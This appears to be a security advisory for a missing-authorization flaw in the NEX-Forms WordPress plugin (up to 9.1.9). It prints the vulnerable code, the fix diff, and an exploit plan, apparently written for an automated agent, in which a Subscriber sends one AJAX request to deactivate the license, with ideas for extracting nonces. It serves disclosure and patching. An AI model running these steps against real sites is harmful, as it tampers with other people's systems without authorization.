NEX-Forms – Ultimate Forms Plugin for WordPress <= 9.1.9 - Missing Authorization to Authenticated (Subscriber+) License Deactivation via deactivate_license
Description
The NEX-Forms – Ultimate Forms Plugin for WordPress plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the deactivate_license() function in all versions up to, and including, 9.1.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to to deactivate the plugin license.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=9.1.9What Changed in the Fix
Changes introduced in v9.1.10
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1948 (NEX-Forms License Deactivation) ## 1. Vulnerability Summary The **NEX-Forms – Ultimate Forms Plugin for WordPress** (up to 9.1.9) contains a missing authorization vulnerability in its license deactivation logic. The function `deactivate_license` in the `…
Show full research plan
Exploitation Research Plan: CVE-2026-1948 (NEX-Forms License Deactivation)
1. Vulnerability Summary
The NEX-Forms – Ultimate Forms Plugin for WordPress (up to 9.1.9) contains a missing authorization vulnerability in its license deactivation logic. The function deactivate_license in the NEXForms_Database_Actions class is registered as a WordPress AJAX action (wp_ajax_deactivate_license) but fails to implement any capability checks (like current_user_can()) or nonce verification. This allows any authenticated user, including those with Subscriber roles, to deactivate the plugin's license, potentially disabling premium features across the site.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Method: POST
- Action:
deactivate_license - Parameter:
action=deactivate_license - Authentication: Required (Subscriber-level or higher)
- Preconditions: The plugin must be "activated" (license key present or
nf_activatedoption set).
3. Code Flow
- Hook Registration: In
includes/classes/class.db.php, the__constructmethod ofNEXForms_Database_Actionsregisters the AJAX hook:add_action('wp_ajax_deactivate_license', array($this,'deactivate_license')); - AJAX Entry: When a request is sent to
admin-ajax.phpwithaction=deactivate_license, WordPress invokesNEXForms_Database_Actions::deactivate_license(). - Missing Check: Unlike other methods in the same class (e.g.,
get_c_logic_uiwhich checkscurrent_user_can( NF_USER_LEVEL )),deactivate_licenselacks this check. - Vulnerable Sink: The function (located in
includes/classes/class.db.php, though truncated in the snippet) proceeds to communicate with the license server (likely Freemius or a custom Basix endpoint) and updates local options likenf_activatedornf_fs_activatedto a deactivated state.
4. Nonce Acquisition Strategy
Based on the vulnerability description ("Missing Authorization") and analysis of the get_c_logic_ui function in the source code, it is highly likely that no nonce check is performed. However, if the agent needs to verify the presence of a nonce or find localized data:
- Shortcode: The plugin scripts typically load when the
[nex_forms]shortcode is present. - Creation:
wp post create --post_type=page --post_status=publish --post_content='[nex_forms id="1"]' - Localization: NEX-Forms often localizes data in a variable named
nex_forms_adminornf_ajax_obj. - Extraction:
browser_navigateto the created page or/wp-admin/.browser_eval("window.nf_ajax_obj?.nonce")orbrowser_eval("window.nex_forms_admin?.security").- Note: Since the vulnerability is a missing authorization check on an AJAX action, the most likely path is that the
actionis the only requirement.
5. Exploitation Strategy
The exploit will be performed by an authenticated Subscriber user sending a direct AJAX request.
Step-by-Step Plan:
- Login: Authenticate as the Subscriber user.
- Trigger Deactivation: Send a POST request to
admin-ajax.php.- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=deactivate_license
- URL:
- Analyze Response: A successful deactivation might return a
1, a JSON success message, or a redirect URL.
6. Test Data Setup
- Install Plugin: Ensure version 9.1.9 is installed.
- Simulate Activation: Since we cannot use a real license key in a test environment, we must manually set the activation options to simulate a "Pro" state:
wp option update nf_activated 'true'wp option update nf_fs_activated 'true'
- Create User: Create a Subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
7. Expected Results
- The HTTP response from
admin-ajax.phpshould be200 OK. - The plugin state should change from "Activated" to "Deactivated".
- Premium features (if accessible) should become locked or the license status in the DB should be cleared.
8. Verification Steps
After the HTTP request, use WP-CLI to check the database state:
- Check License Option:
wp option get nf_activatedwp option get nf_fs_activated
- Expected Outcome: These options should return an empty string,
false, or be deleted entirely (depending on the exact implementation in the truncated source). If the value changed from'true'to something else, the exploit is confirmed.
9. Alternative Approaches
If the action=deactivate_license requires additional parameters, they might be:
license_key: (though usually the plugin knows its own key).nf_license_deactivate: A common alternate parameter name in some versions.
If the request requires a nonce despite the "Missing Authorization" label:
- Identify the admin menu page for NEX-Forms (usually
?page=nex-forms-dashboard). - Navigate there as a Subscriber (if
NF_USER_LEVELpermits) or as Admin to extract the nonce, then try to use it with the Subscriber's session. (NEX-Forms sometimes accidentally exposes admin nonces to lower users if their dashboards overlap).
Summary
The NEX-Forms plugin for WordPress fails to perform authorization or nonce checks on its license deactivation AJAX endpoint. This allows any authenticated user, such as a Subscriber, to deactivate the plugin's premium license, potentially disabling premium functionality across the site.
Vulnerable Code
// includes/classes/class.db.php line 14 add_action('wp_ajax_deactivate_license', array($this,'deactivate_license')); --- // includes/classes/class.db.php line 3216 function deactivate_license(){ $theme = wp_get_theme(); if($theme->Name!='NEX-Forms Demo') { global $wpdb; $delete = $wpdb->query('DELETE FROM '.$wpdb->prefix.'options WHERE option_name LIKE "1983017%"'); // phpcs:ignore WordPress.DB.DirectDatabaseQuery $api_params = array( 'client_deactivate_license' => 1,'version' => '9','key'=>get_option('7103891')); $response = wp_remote_post( 'https://basixonline.net/activate-license-new-api-v3', array('timeout' => 10,'sslverify' => false,'body' => $api_params) ); update_option( 'nf_activated', false ); update_option( 'nf_fs_activated', false ); } }
Security Fix
@@ -11,7 +11,6 @@ public function __construct(){ - add_action('wp_ajax_deactivate_license', array($this,'deactivate_license')); add_action('wp_ajax_nf_insert_record', array($this,'insert_record')); add_action('wp_ajax_nf_update_record', array($this,'update_record')); add_action('wp_ajax_nf_delete_record', array($this,'delete_record')); @@ -3213,18 +3176,7 @@ die(); } - function deactivate_license(){ - $theme = wp_get_theme(); - if($theme->Name!='NEX-Forms Demo') - { - global $wpdb; - $delete = $wpdb->query('DELETE FROM '.$wpdb->prefix.'options WHERE option_name LIKE "1983017%"'); // phpcs:ignore WordPress.DB.DirectDatabaseQuery - $api_params = array( 'client_deactivate_license' => 1,'version' => '9','key'=>get_option('7103891')); - $response = wp_remote_post( 'https://basixonline.net/activate-license-new-api-v3', array('timeout' => 10,'sslverify' => false,'body' => $api_params) ); - update_option( 'nf_activated', false ); - update_option( 'nf_fs_activated', false ); - } - }
Exploit Outline
The exploit is performed by an authenticated user (Subscriber-level is sufficient) sending a POST request to the WordPress AJAX endpoint. 1. Log in as a Subscriber user. 2. Send a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'deactivate_license'. 3. No additional parameters or security nonces are required because the 'deactivate_license' function lacks any authorization (current_user_can) or integrity (check_ajax_referer) checks. 4. Upon execution, the server deletes license-related options and sets 'nf_activated' and 'nf_fs_activated' to false, disabling the plugin's premium state.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.